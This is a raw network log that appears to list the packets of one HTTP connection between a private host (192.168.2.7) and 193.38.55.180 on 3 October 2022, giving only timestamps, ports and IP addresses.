Oct 3, 2022 17:35:24.389216900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389228106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389241934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389264107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389266968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389291048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389292002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389314890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389333010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389594078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389636993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389643908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389656067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389667988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389684916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389693975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389703989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389719963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389743090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389745951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.389770031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389786959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.389910936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.391194105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.391230106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.391257048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.391268969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.391287088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.391304016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393013000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393052101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393078089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393088102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393102884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393102884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393119097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393126011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393141031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393150091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393162012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393173933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393202066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393225908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393249035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393270016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393296003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393311024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393321037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393328905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393357992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393533945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393604040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393642902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393646002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393667936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.393681049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.393708944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.394064903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.394248009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.396013021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396048069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396074057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396099091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396106005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.396122932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396131039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.396174908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.396183968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.396234035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.128930092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.158400059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191770077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191817045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191843033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191860914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191867113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191890955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191895008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191915035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191919088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191939116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191940069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191953897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191966057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191981077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.191992044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.191994905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.192017078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.192027092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.192050934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200074911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200124979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200149059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200174093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200201035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200201988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200226068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200232029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200249910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200270891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200274944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200288057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200299025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200320005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200336933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200514078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200552940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200558901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200583935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.200597048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.200625896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.209007025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.209054947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.209080935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.209093094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.209105015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.209124088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.209130049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.209131002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.209145069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.209172010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223289967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223332882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223355055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223377943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223402977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223407984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223426104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223448038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223448992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223474026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223476887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223504066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223527908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223551989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223573923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223596096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223603010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223613977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223617077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223634958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223659039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223726034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223754883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223772049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223778963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223794937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223800898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223818064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223839998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223923922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223948002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223968029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223969936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.223988056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.223992109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.224009037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.224035978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229350090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229432106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229450941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229468107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229491949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229510069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229526997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229551077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229576111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229593039 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229598045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229623079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229636908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229646921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229660988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229671955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229686022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229696989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229713917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229720116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229731083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229743958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229758024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229765892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229780912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229789972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229809046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229814053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229830027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229836941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229851961 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229875088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229914904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.229960918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.229995966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.230019093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.230035067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.230055094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.231359959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.231416941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239677906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239753962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239782095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239780903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239806890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239809036 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239820004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239835024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239844084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239861012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239872932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239886999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239901066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239916086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.239919901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.239953041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.240206003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.240231991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.240252018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.240272045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.252525091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.252569914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.252594948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.252614975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.252669096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.252722025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.252754927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253225088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253258944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253282070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253283024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253305912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253309011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253320932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253331900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253346920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253355026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253367901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253376961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253391027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253400087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253416061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253422976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253431082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253458977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253650904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253674984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253691912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253700018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253715038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253725052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253736973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253748894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253762960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253772974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253787994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253796101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253810883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253818989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253835917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253842115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253855944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253865004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253880024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253887892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253901958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253911972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253925085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253935099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253948927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253957987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253972054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.253982067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.253997087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254004002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254019976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254028082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254043102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254050016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254065037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254071951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254087925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254092932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254107952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254115105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254133940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254137993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254148006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254162073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254177094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254184961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.254199028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.254234076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.255965948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.256007910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.256042957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.256078959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263674974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263717890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263741970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263765097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263767958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263784885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263798952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263808966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263809919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263834000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263842106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263856888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263870955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263879061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263896942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263902903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263904095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263925076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263941050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263947964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263957024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263976097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.263978004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.263993979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264004946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264015913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264024019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264041901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264060020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264167070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264209032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264221907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264231920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264255047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264261007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264276028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.264291048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.264293909 CEST	49703	80	192.168.2.7	193.38.55.180
